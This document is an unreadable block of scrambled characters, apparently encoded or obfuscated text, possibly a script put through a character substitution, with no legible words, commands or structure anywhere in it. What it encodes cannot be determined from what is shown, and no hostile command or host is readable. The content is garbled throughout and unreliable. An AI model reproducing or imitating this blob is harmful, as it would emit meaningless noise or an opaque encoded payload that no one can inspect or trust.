	Q^PGGGGGC8U_RQUVRGZYGC_8W NGGmmmGGGGGGGOF8T OVPVVNOC_8W NGGGGGGFOC_8W <@@:NGGGGO	NGGC_8W <@@:G[GGT
OVQ^TNONGGGJGGGOUR^V^STLRPNNGGG	OCPVR^
	Q^P<C8U_RQUVR:N\mmmmGGGmGGGGGGGGGOT
OVRTPNOCPVR^
	Q^PNGGGGYGGOT_RJV_RNNGGGmCS_TGZGGGGG	\mGGCQWTTSGZGGGG	\mGGGOCPVR^
	Q^PGGGGGGC8U_RQUVRGGGGGZYGGGGGC_8W NGGmGGC
URS_GGGZGGGT
OVPVVNOC_8W NGGAAGOC_8W <@@:NGXGGGO	NGGC_8W <@@:GGGG]GW\mGGGGGOCQWTTSGGGGZZZG	GGGGGGGC
URS_GGG[GGGGGCQWTTSNGmGGCQWTTSGGZGC
URS_\mGGCS_TGGGZGGC8U_RQUVR\mGGGGmGGmGGGGGGOCS_TGZZZGGGGG	NGGGG\mGGGGGG	OCPVR^
	Q^P<CS_T:N\mmGmmmmGmGGG8	O8T OVPVSNKGGCPVR^
	Q^PKGQ^	UOVRVRNN\mGGC +(%&+4< _	S^OVPW^N:GZGGCPVR^
	Q^P\mGmG		GGG  SS P  OC	W_W_NmGmGGGGOF _	S^OVPWQNOC	W_W_NGGGC	W_W_GZZZGGGGEENGG	GGGGG\mGGGOFOC +(%&+4<8T OVPW^N:NGGGGGGGFQ^	UOVPVVNOC +(%&+4<Q^	UOVPW^N:NNGGGmmmmGGGGC +(%&+4< _	S^OVPVRN:GGGGGGZG8T OVPVQNOT
OVPWRNNGXGGGG 8	OQ^	UOVPVPNKGGONNG]GGON\mGGGGGGGGGOF8T OVPVVNOC +(%&+4<T
OVPVRN:NNGGGGC +(%&+4< _	S^OVPVRN:GZGON\mmHHG7$5"UG-.3]GGmmmGGCPVR^
	Q^PGGGGGZGGGGGGC +(%&+4<Q^	UOVPVRN:\mGGGGGCVUV		PQ	GGZGGG _	S^OVPV_NOC	W_W_N\mGGGOOCPVR^
	Q^P<CVUV		PQ	:NGGGGGAAGG8T OVPVVNOCPVR^
	Q^P<CVUV		PQ	:NGGGAAGGOCPVR^
	Q^P<CVUV		PQ	:<@@:NNGmGGGGGGGGOO	NG'T
OVRTRNOC	W_W_NGGYGORUSU_PURLPRNNGGG	GGGT
OVPV^N\mC
U WWGGGZGGGG' _	S^OVPVUNOC	W_W_N\mGGGGGGGGO _	S^OVPWQNOC
U WWNNGmGGGGGGGO8T OVQ^^NOC
U WWNGYGGGOWS^QLWWQ^UNNGGGGGC
U WWGGGGGZG8_PRSPOC
U WWN\mGG	GOQ^	UOVPV_NOC
U WWNGZZZGCPVR^
	Q^P<CVUV		PQ	:<@@:NGXGGG]GGGG _	S^OVPV^N\mGGGmGGGGGG	GG\mmmGGmmGGGGGGGGCUWP_UVGGZGGGGG' _	S^OVPUWNOC	W_W_KGGGKGG	KGGWKGGGGGOVPRQLUTSWNN\mGGOmmm8T OVPWQNOCUWP_UVNGGGGGAAG8T OVPUVNOQ^	UOUTTNKGCUWP_UVNmAAGGGG^8TOC	W_W_KGGGOS^RLRNNmGGGGGGNGGmGOO	NG' _	S^OVRTRNOC	W_W_NGGYGGGGOVWSRRWWWLSV^PT_WWNNG	GG\mmmmC
U WWGZGGO	 NG'8T OVPUWNOC	W_W_N\mGGGGGO8T OVQ^^NOC
U WWNGGGGGGYGGGGGGOVTPQQ_TJTU_VWPNNGGGGGGC
U WWGGGZG8_PRSPOC
U WWN\mGOR	^W8POC
U WWNNGGGG	GT
OVPUUN\mGGmGGGG	G\mmmmGG		GG T		TUONmmGCPVR^
	Q^PGZGGG	\mGGGGGGOCPVR^
	Q^PGGGGFZZG	NGG	GCPVR^
	Q^P\mmGGGGC
U WWGGGZGGGGGO	 NGG'Q^	UOVPUWNOVQ^^WWT
WONN\mGGGGGGGGGGO8T OVPUTNOC
U WWNGGGYGGGGGOVRPRQVQJRUPWSWNNGGGC
U WWGGGGZG8_PRSPOC
U WWN\mGCPVR^
	Q^PGGGGZGGGGGGQ^	UOVPV_NOC
U WWN\mmG	GGCPVR^
	Q^P\mm		G
_V
_ 8	ONmmGGGGGmmm	G _	S^OVPUSNO T		TUONKGGWKGGGOUSJVUNN\mmGGGG		GGGUUP
ONmmmGGGGGGGmGGGGG	GGGG
U	_T _ONGIGQ^	UOVPURNGGGGGIG^O&%47&3/GIGGGGGQ^	UOVPUQNKGOVSJQNNGGIGG8T OVPUPN\mGGmG		GG_V _QSONmGGGmGGGC8_ _VGGZGON\mGGOQ^	UOVPU_NO8T OVPWRNNNGmHHGGmmC
U
W8GGGGGZG' 8	OT
OVPU^NKGGONN\mGGGGOQ^	UOVPTWNOC
U
W8NNGGC8_ _VGGGGZGGC
U
W8\mHHG07G4G%]GGJ		
	mmGGmGGC
U WWGGZGGG'Q^	UOVPWPNOUUP
ONNGXGGGGG'8T OVPUWNOUUP
ONNGGGGG]GGGEE\mGGGGGGGGGGOQ^	UOVPWQNOC
U WWNGGGAAGGGGT
OVQTTNOC
U WWKGGQ^	UOPQVNNGGGZZZGGWNGGGGmGGCTU88GZG8T OTQUNO _	S^OVPTVNOC
U WWKGGGOUU^9UUSNNKGGN\mGGGGO _	S^OVPTWNOCTU88NGAAGO
OC8_ _V<T
OVPTUN:NGGGGOF
OCTU88< _	S^OVPTTN:NGGAAGGCTU88<Q^	UOVPTTN:GGGGYZGGGGGC8_ _V<T
OVPTTN:NNNGGGGGC8_ _VGGZGGCTU88\mGGGmGG	GGC8_ _V\mGGGGGGGGmGG		GG	QRT^_^T  U^OC	V_UUTSNmGGGGGGmHMG	GGMHmmGGGGGmGGGGGGGGGGGOF	O8T OVRQRNNNGGGG	\mGGCV_PGGGZGGG _	S^OVQ^TNON\mGGGGGGGOC	V_UUTSGZZZGGGQ^	UOVPTSNGGGGC	V_UUTSGGZZZGQ^	UOVPTRNNGGmCGGZGGG_V _QSON\mGGOmGOC< _	S^OVPTQN:KGGC< _	S^OVPTPN:NGGAAGC< _	S^OVPTQN:GGGGZZZGGC	V_UUTSmmmmGGGAAGGGGCV_PGGGGJGGGO	NGGC< _	S^OVPT_N:GGGG[GGOC	V_UUTSGGGGZZZGT
OVPTRNGXGGGOTQQJQQNGG]GGGGO^LVNNmmmGNGGGGG	\mGmHHG	G mmGGGC8_ _VGGZGGOmmGGGGGG@@GGGZYG _ Q	QTPONKmGGGGQ^	UOVPT^NGGGGZYGGG
_V
_ 8	ONKmGT
OUTSNGGZYGGVQ^^WWT
WONKmmmT
OVTRUNGGGZYGQ^	UOVQPQNOVQ^^WWT
WONKGGGGG8T OVPUPNNKmmG _	S^OVPTQNGZYGGGGGC	V_UUTSKmGGT
OVPSWNGGZYGGGGCV_PKmGG _	S^OVPT_NGGZYGCV_PKm8T OVPTTNGGGZYGOC84"51"5<Q^	UOVPSVN:NGGXGO	NGGGGGC84"51"5< _	S^OVPSVN:GG]GGGCV_PKmN\mmmGGGGGGO8T OVPU_NO8T OVQW_NNNGGGG'8	O8T OVPSUNKGGC8_ _VKGGGGG _	S^OVPSTNN\mGCPVWGZGG
U	_T _ON\mGGGO'T
OVTPPNOCPVWNGGGGGGG8	VSS OCPVWKGGGO_R_JTQRNKGGGNNGm' _	S^OVVTPNOUUP
ONKGGGT
OPQVNGGGIG8T OVTQUNOC8_ _VNN\mGGGGGGGmGGGGGGGGGGGO3GGGC	VRV8UNGmGGGGGGGO"	GGGGC	VRV8UNGGGGmGGmGmmmmG		GGGGGVU	POC8_ _VNmGGGGGGmGGGGGGGOF _	S^OVPSSNOC8_ _VNGGGGGG
OC8_ _V< _	S^OVPSRN:NGGF _	S^OVPSQNOC8_ _V<Q^	UOVPSRN:NNGG	GGGG _	S^OUTPN\mGGGGCT
TUP	VGGZGC8_ _V<Q^	UOVPSPN:\mGGGGGGGGGGGGGOF'Q^	UOVPS_NOCT
TUP	VNGGGGO	NG'Q^	UOVPS^NOCT
TUP	VNGG[GOSS_LRUNNGG	GGG8T OUTPN\mGGO	
W R	OCT
TUP	VNNGG	GGG _	S^OUTQN\mGGGCUT8 8GGGGZGOC8_ _V<Q^	UOVPTQN:NGXGGGC8_ _V< _	S^OVPTQN:GGG]GGGGGGEE\mGGGC	T8PT
GZGGGGGGOC8_ _V<Q^	UOVPRWN:NGGGGXGGO	NGGGC8_ _V<8T OVPRWN:GG]GW\mmmGGGGOCUT8 8GGZZZGG8T OVPTRNNGGGGG	GGGOC	T8PT
GGYGWGGAAGGGT
OVQ^TNONGGJGGGGC	T8PT
GGG[ZGOTR_WLUWNNGXGGGGGQ^	UOVPRVNGGG]G _	S^OVPRUN\mGGGOCUT8 8GGZZZGGG _	S^OVPRTNNGG	G _	S^OVPRSN\mGGGOCUT8 8GGGGZZZGGQ^	UOVPTSNNGG	GOC	T8PT
GGYGGWGGGAAGGGGGGT
OVQ^TNONGGGGGJGGC	T8PT
GG[ZGGOWVQLWQUNNGGXGG _	S^OVPRUNG]GGGGGGT
OVPRSN\mmmGG	GGGGQ^	UOVPRRN\mGGGGGmGG		GG	PRURPPOC	W_W_NmGGmGGOF'T
OVPS_NOC	W_W_NNGGG	GGGGG\mmGGC

^W UGGZGGGGO	NGG'8T OVPRQNOC	W_W_N\mGGGGGGGOC

^W UGGGGG[GGOWVTWLWSNGGGGGC

^W UGGGGYGGO_TQPRTVLSSWQVUQ^NNGGGG	GGGGGG\mmGGGGGCUWP_UVGZGG'Q^	UOVPUWNOC	W_W_KGGKGGG	KGGGGWKGOSWRPLT^NN\mGGGOFT
OVPSQNOCUWP_UVNGGGGGGGFQ^	UOVPUVNO _	S^OUTTNKGCUWP_UVNNGGG	GGG\mGGGGGOC

^W UGGGYGOVWS_RTTLSTNNGmGGGGCU GGGGZGG'Q^	UOVPRPNOC	W_W_KGGGKGG	KGGC

^W UGGGGJGOSWQSLTUNN\m	GQ^	UOVPR_NOCU NGAAGQ^	UOVPUVNO8T OVPR^NKGGGGGCU NGGGGZZZGV\mmmmmmmGGGC
U WWGGGGGZGGG'8T OVPQWNOC	W_W_N\mGGGGGOF _	S^OVPR_NOC
U WWNNGGG	GG\mGGG	GGR	^W8POC
U WWN\mGmG		GGGG	
W R	OC	W_W_NmGmGGGGCUWGGGGZG8T OVQPQNOC	W_W_KGG8T OVPQVNN\mGGOOQ^	UOVUQ^NOC	W_W_NKG8^	_SWW	ONNGGGC	VSWQTNGGmGGGGCP8QUQUGGGZGGC	VSWQTGGIGGGT
OVPQUNGGIGCUW\mGGGGGOF'8T OVPQTNOCP8QUQUNGGGO	NGG'Q^	UOVPQSNOCP8QUQUNGG[GQ^	UOVQ^TNONGGJGGGOQWSP^PLTNNG		\mmGCSUU WRGGZGT
OVU_VNOO	 NGG'Q^	UOVPQWNOCP8QUQUNN\mmmGGGGOCSUU WRGGGGZZZGEENGGGG		\mmmGGC
U WWGGGZGGO	 NGG' _	S^OVPQWNOC	W_W_N\mGGGO _	S^OVPUTNOC
U WWNGGGGYGGGGOVWS_RV_LR_NNGGGC
U WWGGGZGG8_PRSPOC
U WWN\mmmGGGOC
U WWGGGFZZGGGEEGGGGAAGGT
OVPQRNOC
U WWNGGZZZGGGGGGCSUU WRNG	GGG\mGmG	GGGGG\mm		GTT
8	OC	W_W_NmGGmGGGGGGGGOF8T OVPU_NOQ^	UOVPWRNNGGGGGGGFQ^	UOVPU_NOQ^	UOVPQQNNNGGGGG	\mGGGGCU_U
GZGGGGGG' 8	O8T OVPQPNKGONN\mGGGGGOFT
OVPSSNOCU_U
NNGGCU_U
GZGGON\mGCU_U
<Q^	UOVPQRNOC	W_W_N:GGZGGGC	W_W_\mGO8T OVRTPNOCU_U
NGGYGGOV^LVNNGGCU_U
GZGGGGG _	S^OVPQ_NOCU_U
KGGGGJOWLWQNKGG	KGN\mGG'8	O _	S^OVPQPNKGCU_U
KGGG8T OVPSTNN\mGGGmmmmGGGGGG		GGGGR	QVTONmmGGGGOF8T OVPU_NOQ^	UOVPWRNNGGGGGGGGF _	S^OVPU_NO _	S^OVPQQNNNGGGGGG	\mGGGGGGGCU_U
GZGG' 8	OQ^	UOVPQPNKGONN\mGGGGGOFQ^	UOVPSSNOCU_U
NGGG
OCU_U
NNG	\mGGCQ Q ^WGZGGON\mmmmGGOCU_U
GGGGC8U_RQUVRGGGGGZYGGCT
TUP	VNGGGGGmGGGGGOFT
OVPR_NOCT
TUP	VNGGGGGGGGGCT
TUP	VGGGZZZGGEEGGGGGF'Q^	UOVPQTNOCT
TUP	VNNGGGGG		\mGGGGGGGGO  SS P  OCT
TUP	VNGGGGZZZGGNGGGCQ Q ^W<C8U_RQUVR:GZGGGGCT
TUP	V\G		\GmmGGT8OCT
TUP	VKGGGOTRSLQQNN\mGGOWT	OCT
TUP	VNNGGC^RT
W ZVRLTQ\C	RZC^RT
W JUU\mGGGGOT
OVPU_NO8T OUWWNNNGGG'8	OCT
TUP	VKGGN\mGGGGGGO' _	S^OVPQTNOCT
TUP	VNNGGGmGGCQ Q ^W<C8U_RQUVR:GZGGGCT
TUP	V\mGGGGmGGGGGmGGGG'8	O8T OVPQPNKGGGGGGCQ Q ^WKGGGG _	S^OVPSTNN\mGGGGGGGmG		GGR
 8	 ONmGGGGGGmGGmmmmC	VRV8UGGZGGG _	S^OVPU_NO _	S^OVQPNNGGXGG'8 8ONG]GGGG	\mGGGGGGOmGQ^	UOVPSSNOC	VRV8UNGGGGAAGF
OC	VRV8U<T
OVQ^N:NGAAGGF
OC	VRV8U<8T OVPWN:NmGAAGQ^	UOP^QNOC	VRV8U<T
OVPWN:KGO"8"55(5KGG"87&54"KGG"8$(5"8"55(5KGGGGGG"8$(*7.+"8"55(5KGGGGGG"824"58"55(5NKGGNmGNGGGGGmGCQRT_GGGZGG'8T O_T_NOVQ^^WWT
WONN\mGGGGmmmmGGGGGGGC8GGGGGZG' _	S^O_T_NOC	VRV8U<Q^	UOVQ^N:N\mmmmGGGGGGGGOQ^	UOVPR_NOCQRT_NGAAGGGT
OVPR_NOC8NGAAGGGGC8GZZZGCQRT_NGG	\mGGmGGG	QRT^_^T  U^OT
OVPRVNN\mGO	OT
OVRQRNNNGmGC
__Q^VR	PSGGGGGZGGG 
STUT8SON\mGmmGGO' _	S^OVPQTNOC
__Q^VR	PS<V:NNGGGGGmGGC	Q	
UQTSVGGGZGGG'Q^	UOVPQWNOC
__Q^VR	PS<V:KGGKGGGGG	KGWKGGOUTP9VPTNN\mmGGGOT
OVPR_NOC	Q	
UQTSVNGAAG8T OVQTTNOC	Q	
UQTSVKGGQ^	UOVRPUNGIGGG _ Q	QTPONGIGGG@]@NGGGZZZGGGGWNGGmmmC^
QGGGZGG' _	S^OVPQTNOC
__Q^VR	PS<V:GGGIGT
OVPQ^NNGGGGGGXGGGGG'8T OVPQWNOC
__Q^VR	PS<V:GIGT
OVPPWNKGGGKGGGGG	KGGWKGOSRLV^NNG]GGGGGEE\mGOC^
QGFZZGGGC	Q	
UQTSVNGGGGG'Q^	UOVPPVNOC
__Q^VR	PS<V:KGGGC
__Q^VR	PS<V:GGGGGIG _	S^OVPPUNN\mGGmGGmG	OC
__Q^VR	PSKGGC	Q	
UQTSVKGGC^
QN\mGGGGGGGGmGGGGGGGGGGO3GC_		W^NGGGmGGGGGGGGGGGGGO"	GC_		W^NGmmmG		GGVQPR	UROCVNmGGGGmmmmGOF _	S^OVPPTNOCVNNGGG	GGGGEE\mGGOQ^	UOVPPSNOQ^	UOVPPRNKGCVKGGCURV NNGGmGGGGGGOCURV <V:GGGGGGGCWNGGGmGGO PQUPVSVO _	S^OSWUNOCWKGGGGNNNGGGGGG	GEE\mGGGGGGmGGGmmmmGGOQ^	UOVPPQNOT
OVPPPNKGCVKGGGGCURV NNGGGGmGGGGGGOCURV <V:GGGGGGGCWNGmGGGGGO PQUPVSVOOCWNNNGGG	GGGGEE\mGGGO8T OVQTTNOCWKGGG _	S^OVPP_NNGGFZZGNGCRV_RTZ7/78*&-(581"54.()\CW
QZCRV_RTMS\mGGGGCUQU8GGGZGG 88O8T OVPP^NKG8T OVP_WNKGGGGCWN\mGGGGGGOT
OVPPTNOCUQU8NGAAGCUQU8GGFZZGGGCWGGGAAG PQUPVSVOCUQU8NNGG	GGGEE\mGGmGGGGGGmGmGGGO _	S^OVPPQNO _	S^OVP_VNKGGCVKGGCURV NNGGGmmmGGGGGOCURV <V:GGGGGCWNGmmmGGO PQUPVSVO8T OVP_UNOO8T OVP_TNKGG _	S^OVP_SNNKGGO@;;@KG@;@@NKGGCWNNNGG	GEE\mmmmGGGOT
OVQTTNOCWKGGQ^	UOVPP_NNGFZZGGNGGGmCUQU8GGGGZGGGG 88OQ^	UOVPP^NKGGGQ^	UOVP_WNKGCWN\mGGGGGGO _	S^OVP_RNOCUQU8NGGGAAGCUQU8GGGGFZZGGGCWGGGGGAAGGG PQUPVSVOCUQU8NNGGGG	GGGGGGEE\mmmmGGGGGGmGGGmGm	GGCV\mm		GG^
VOCPPR 	8NmGGGGmGGGGOF _	S^OVP_RNOCPPR 	8NGGGO _	S^OVQTTNOCPPR 	8KGGGQ^	UOVP_QNNGZZZGGGGGGGAAGGGGGG _	S^OVP_PNOCPPR 	8KGGGT
OSWUNNGZZZGGGNNG	GGGGGG\mmmmGGGGGO _	S^OVPPQNOQ^	UOVPPRNKGCPPR 	8KGCURV NNGmmmGGGOCURV <V:GGGGGGGGCWNGGGmGGGGO PQUPVSVOT
OSWUNOCWKGGGGNNNG	GG\mGGmGmGGO8T OVPPQNO _	S^OVPPPNKGGCPPR 	8KGGGGCURV NNGGGGmmGGGGGGOCURV <V:GGGGGCWNGGGGmGGGGGGO PQUPVSVOOCWNNNG	GGGG\mmHHG'
G mmGGGOCURV <V:GGGCWNGmmmmGGGGGGGOT
OVP__NOCWKGQ^	UOVPP_NNGGGZZZGGNGGG		\mmmCUQU8GZGGGG 88O8T OVPP^NKGGT
OVP_WNKGGGGGGCWN\mGGGGGGGOQ^	UOVP_RNOCUQU8NGGAAGGCUQU8GFZZGGGGCWGGAAGG PQUPVSVOCUQU8NNGG	G\mGmGGmGGGGGGOT
OVP_^NOT
OVP_VNKGGGGGCPPR 	8KGGGGGCURV NNGGGGGmmmGGGGGGGOCURV <V:GGGGGGCWNGmmGGO PQUPVSVOQ^	UOVP_UNOO _	S^OVP_TNKGGGQ^	UOVP_SNNKGGO@;;@KG@;@@NKGGGCWNNNGGGG	GG\mmmGGmGGGGGGGGGOCURV <V:GGGGGGGGCWNGmGGGGOT
OVP^WNOCWKGGQ^	UOVPP_NNGZZZGGGNGG		\mGCUQU8GZG 88OT
OVPP^NKGT
OVP_WNKGCWN\mGGGO8T OVP^VNOCUQU8NGGGGGAAGGGCUQU8GGGGFZZGGGGGGCWGGGAAG PQUPVSVOCUQU8NNGGGG	GGG\mmmmGGGGG	GGGG\mmmGGGmG		GGVRQV^OCPPR 	8NmGGGCUPZV^RVT\CP
RU8_^ZCUP9VP\mmmmGGGGGGGGGOF8T OVP^UNOCPPR 	8NGGGCPPR 	8GGGGGZZZGGEENG	GEE\mGGG	GO _	S^OVPUVNO _	S^OVP^TNKGGT
OVP^SNOCPPR 	8KGGGWKGOVUQTLQ^U^NNKGGGGCPVR^
	Q^PNNGGXGCPVR^
	Q^P<V:GGG]GGEE\mmG		G	^SVTOC
U WWKGGGC

8KGCQ8WV_GGZG	NmCPSVPRZJS_V\CPV^ZOCPSVPRYWNXCPSVPR]JCPSVPR\mGGGGGGGGOF8T OVP^RNOC
U WWNGGGC
U WWGGGZZZGGGGEENGG	GGC
U WW\mGC T	W
GGZGGGGGQ^	UOVP^QNGIGGC

8GGGGGIGGG _	S^O^Q^N\mGCT	8GZGEE\mGGGCPUQ8P GGZGGW\mGGGGGGGOCPUQ8P LLGGGGG[GGGGGOS[[RNNGGGGGmGGGGGGGCQR^GGGGZGGG8T OVP^WNOC
U WWKGC T	W
N\mGOCQR^GGGZZZGNGGG\mGGCQQP
GGGZGCQR^GGGGGLGGQ^	UOVPUTNOC T	W
N\mGGC QQ	RGZGGQ^	UOVP^WNOC
U WWKGG _	S^OVQUPNKGGCQQP
N\mGGGGGGGOC QQ	RGGGZZZGGGGGGGGGC QQ	RGGGJGGGGCQQP
GGGYGGOSW9VWSNNGGmGGGGGCT	8GGGIZGGQ^	UOVP^SNOC
U WWKGGWKGGGCQQP
N\mmGGGGC
U WWGGGZGGGG8T OVP^SNOC
U WWKGGCQQP
N\m		\mGGGGGGGmGGGGGCVWVW	VGGGZGGG _	S^OVP^SNOC
U WWKGGGCQQP
KGGC QQ	RGJGGCQQP
N\mGmmGGGGGGGGOF8T OVPUVNOQ^	UOVP^PNKGCVWVW	VNNGGGmGGGCT	8GGGIZG8T OVP^_NOC
U WWKGGGGWKGCQQP
N\mGC
U WWGGGZGGGGQ^	UOVP^_NOC
U WWKGGGCQQP
N\m		\mGGGGmC_SR SSGGGGZGGGG8T OVP^^NGGIGC

8GIGGG8T OV_WWNGIGGCVWVW	VGGGIG _	S^OVQUPN\mGGGC_
PPVGZGGGGG _	S^OVP^WNOC
U WWKGGC_SR SSKGGGC QQ	RN\mGGGGOC_
PPVGGZZZGGGNG\mmGGGGCT	8GGIZGGGT
OVP^_NOC
U WWKGGGGWKGGGCQR^N\mGGGGGGGCW
GZGGGG _	S^OVP^_NOC
U WWKGGGCQR^KGGGGC_
PPVGLGGQ^	UOV_WVNOC_SR SSNGJGGGGCQR^N\mGGGGOCQ8WV_GFZZGG	NGGGGmGGGGGGGGCUVS^RPQGGZG _	S^OTTRNOCQ8WV_KGGGCW
N\mGGOT
OVP^RNOCUVS^RPQNNGGCT	8GIZGGCUVS^RPQ\mmmGGGGGmGCT	8GGGGIZGGGGGGCW
\CRS8SZ7/78*&-(581"54.()\C
V WUPZCRS8SMR\mmGGGGGGmC
U WWGZG _	S^OVP^_NOC
U WWKGGGGC_
PPVGGGGLGG _	S^OV_WVNOC_SR SSNN\mGmmGmmG	GGCT	8GGIGGGGGGC
U WW\mmmGmGG		GGG QP
RTVT_OCVNmmmmG	GEE\mGmmGGGGGmGG		GGG	PTT
VW_OCVNmGGGmmGGOFT
OVP^RNOCVNNGG	GEE\mmmGGOF	OQ^	UOVRQRNNNGG	GCV\mGC	V^GGZGG^O&%47&3/GGGGIGGT
OV_WUNKGGGGGOS[[VNN\mGGGGGGGGGGGGOQ^	UOVPUVNOQ^	UOV_WTNGIGGC	V^GGGIGGT
OV_WSNKGCVNNGGGG	GEE\mGG	GGGGGCV\mGGGmG		GGGGG8QR_OC
U WWNmmGGOF8T OV_WRNOC
U WWNGGGGGGGC
U WWGGGGZZZGEENG	GGGC
U WW\mGGGC

WUW VGGZG	^SVTOC
U WWKGGGQ^	UOV_WQNKGGT
OV_WPNN\mGGGGC

WUW VGGZGG	^SVTOC

WUW VKGT
OV_W_NKGG8T OV_W^NN\mGGGGGGOQ^	UOV_VWNOC

WUW VNNGC

WUW VGGZGGQ^	UOVQTPNOQ^	UOV_VVNKGGGGGGEEKGGGC

WUW VN\mmmmGGGGOF _	S^OV_VWNOC

WUW VNNGGGGGGC

WUW VGGZGC
U WW\C  _  R^Z7/78.)38*&?H7/78.)38*&?\C	8ZC  _  R^L^V\mGGGGGGGO^
VOC

WUW VNNGGGGmmGGGGC

WUW VGZGGG	^SVTOC

WUW VKGGGT
OV_WQNKGQ^	UOV_VUNN\mmmC

WUW VGGGGGZGG	^SVTOC

WUW VKGG _	S^OV_VTNKGGGGG _	S^OV_VUNN\mGGGGGO _	S^OV_VSNOC

WUW VNNGGGC

WUW VGGZGGGGQ^	UOVQTPNOT
OV_VVNKGGEEKGGC

WUW VN\mGmmG	GGGGGGQ^	UOV_VSNOC

WUW VNGXGGC

WUW VGG]GC
U WW\mmmGG		GWPTR^TPOC
U WWNmGGGmGGGGGGOF8T OV_VSNOC
U WWNGGF	OQ^	UOVRQRNNNG	G\mGGGGGGO8T OVPUVNO _	S^OV_VVNKGGC
U WWNNGGG	G\mmmmC	
GGGGZGGG^O&%47&3/GGIGGGGQ^	UOV_VRNKGGGOWQLWUNN\mGOQ^	UOVP_^NOT
OV_VQNKGC
U WWKGGGGCRUS^NNGmGGGOCRUS^<V:GGGGGGGGGC VU_	NGGGGGGmGGGGGGGO8T OVP^_NOC VU_	KGGGJOSLRNNGGGZZZGG@]@GGIGGC	
NGG	GGGGGG\mGGGGGGGmmmmGC8GGGGGZGGT
OVP^_NO _	S^OVPQRNO&%47&3/GGGGIGGT
OV_VPNNKGGGWKGGGGGOVUJSNN\mGGGGGGGOQ^	UOVP_^NOT
OV_V_NKGGC
U WWKGGC8
NNGmHHG07G4G%G
G	mmGGGGOC8
<V:GGGGGCW

WNGGGGmGOCW

WGGGGZZZGGGC8NGG	G\mGGmGm	GGGG\mmmGGGGmG		G^V8
VONmmGGGmGGGOFOC8 "3<T
OV_V^N:NGGGF _	S^OV_VSNOC8 "3< _	S^OV_V^N:NGGGGGGF _	S^OVPU_NO8T OVPWRNNNGG	\mGGGGGCUT8 8GGZGGGG' 8	O8T OV_UWNKGGONN\mGOF8T OV_UVNOCUT8 8NNGGG	\mGC_P_Q_STGGZGO	 NGC8 "3<8T OV_UUN:\mGC_S_PGZGON\mGGOOCUT8 8<@@:NNGGGGC_S_P<:GGGZGO	 NGGGGCUT8 8<@@:\mGGGGGGGOOCUT8 8<8T OQTWN:NGGAAGGGGGQ^	UOV_UVNOCUT8 8<T
OQTWN:NNGmGGGGGGOCUT8 8<T
OQTWN:GGGGGC^ NGmmmGGGGGGOQ^	UOV_UVNOC^ NGGGGGGAAGGGGGOC^ <@@:NNGGC_S_P<:GZGGGGGO	 NGGGGC^ <@@:\mGGGGGGmGmGCPU ^GGZG\mGGGGGGGOC_S_PGGGGCU	
NGGGC T	TZ7/78*&-(581"54.()\C _ZC T	TMR\mGGGOCU	
GGGGZZZGEENGGG		\mGGCPU ^GZGGGGQ^	UOVPU_NOQ^	UOV_UTNNGGGXG8OCU	
KGGGGGC_P_Q_STNG]GGGGOCU	
GZZZGGGGGGC_P_Q_STN\mGGGGOCPU ^NGGGG\mGGmHHG'	GmmGGGOFCPU ^NG	\mmmmGGGOT
OVPU_NOT
ORUUNNNGGmmmmGGGT
ORUUNO		GGONGGOC_P_Q_STNGGmGGGGGGGGGGE;	[FJJ4$,]EGGGGIGC_P_Q_STGGIGG _	S^OV_USN\mGN\mmGGGGmGmG		GG^PRU	8ONmGGGGGmGGGGGGGGOFT
OV_URNOT
OVPWRNNNGG	GG\mmmGGCPVR^
	Q^PGGGGGZGG' 8	OT
OQURNKGGEEN\mmmmGGOFQ^	UOV_VSNOCPVR^
	Q^PNGGGGG _	S^OVP^WNOCPVR^
	Q^PKGGG _	S^OV_UQNNGFZZGWNG	GGGG\mC	T8PT
GGGZGGGGO	NGG8T OVP^_NOCPVR^
	Q^PKGOV_^9V_PNN\mGGGGGGGGGOC	T8PT
GGAAGGGG8T OV_UPNONGGGJGGC	T8PT
GYGGGO_QTRQLSSNNG	G\m	GGGGG\mGm		G	WV8^ROC	W_W_KGCR_NmmHHG*
G]G	G
mmGGGGGGGGGOFT
OV_URNO8T OVPQQNNGGGFQ^	UOV_U_NO8T ORUUNNNG	GG\mmGGGGGGGO^PRU	8ONNGGGG	G\mGGGGGCUT8 8GGGZGG' 8	OT
OV_UWNKGGGONN\mGGGGOF8T OV_UVNOCUT8 8NNGGCUT8 8GZGGGGGON\mGGGGGGGGGOFOCUT8 8<Q^	UOV_U^N:NGGGFQ^	UOV_UVNOCUT8 8<T
OV_U^N:NNGGmmmmC	TSP_GZGGGGGON\mmmGGGOOCUT8 8<@@:KGGCUT8 8<@@:KGCUT8 8<@@:NNGGGmHHG	G	 G	
	JmmGGGGGC	TSP_< _	S^OVPQRNOO	 NGGGCUT8 8<@@:N:GGZGGO@@GGGGZYGGO	 NGCUT8 8<@@:KGGGGG@@GGGZYGGO	 NGGGCUT8 8<@@:KGG@@GGZYGGGGGO	 NGCUT8 8<@@:KGGGGGQ^	UOVW_WNGZYGOCUT8 8<8T OVW_WN:NGGXGGGO	NGGCUT8 8<Q^	UOVW_WN:GG]GG _	S^OV_UPNONKGQ^	UOV_TWNGGGZYGWKGG@	@GGGGZYGWN\mGmGGGGCUT8 8GGZGGO _	S^OV_U^NGGZYGGC	TSP_N\mGGmGGGCVWVW	VGZGGGGGQ^	UOVPQRNOC	W_W_N\mmGGGGGGGGOOCUT8 8<T
OV_U^N:<CVWVW	V:NNGmGGGGGCUT8 8<T
OV_U^N:<CVWVW	V:< _	S^OVW_WN:GGGGGGZGGGQ^	UOV_TVNON\mmmmGGCUT8 8<Q^	UOV_U^N:<CVWVW	V:<8T OV_TUN:GGGZGGGGW\mmmGGGGGCUT8 8< _	S^OV_U^N:<CVWVW	V:<@	@:GZGGOCR_GGZZZGGGEENGGGXGVGGG]GGGW\mGOFTST		RVOCUT8 8<T
OV_TTN:<CVWVW	V:<@@:KGGGGGGCR_NNGGmGGGGGGGGSS_UU8O8T OV_TSNKGGGGG _	S^OV_TRNN\mG	GGGG\mGGmmGGGGmGGGGGGGCPVWGGZGGG
U	_T _ON\mGC^STGZGGGCPVWGGIGGQ^	UOV_TQNGGGIGG^OC	W_W_KGGOV^JPNNGGGIGGGG _	S^OV_TPN\mGOFTST		RVOC^STKGGGCR_NNGGmSS_UU8OQ^	UOV_TSNKGGGGGGT
OV_T_NN\mmmmGGGGG	GG\mmmmGmGGCUT8 8< _	S^OV_TTN:<CVWVW	V:GGGGZGGO@@GZYGGGGSVQWP U	W	 VOOSP9QTNNKGGG@@GZYGGGGGC	W_W_KGGGGG@@GZYGGGGC^STKG _	S^OVW_WNGZYG8T OV_T^NONKGT
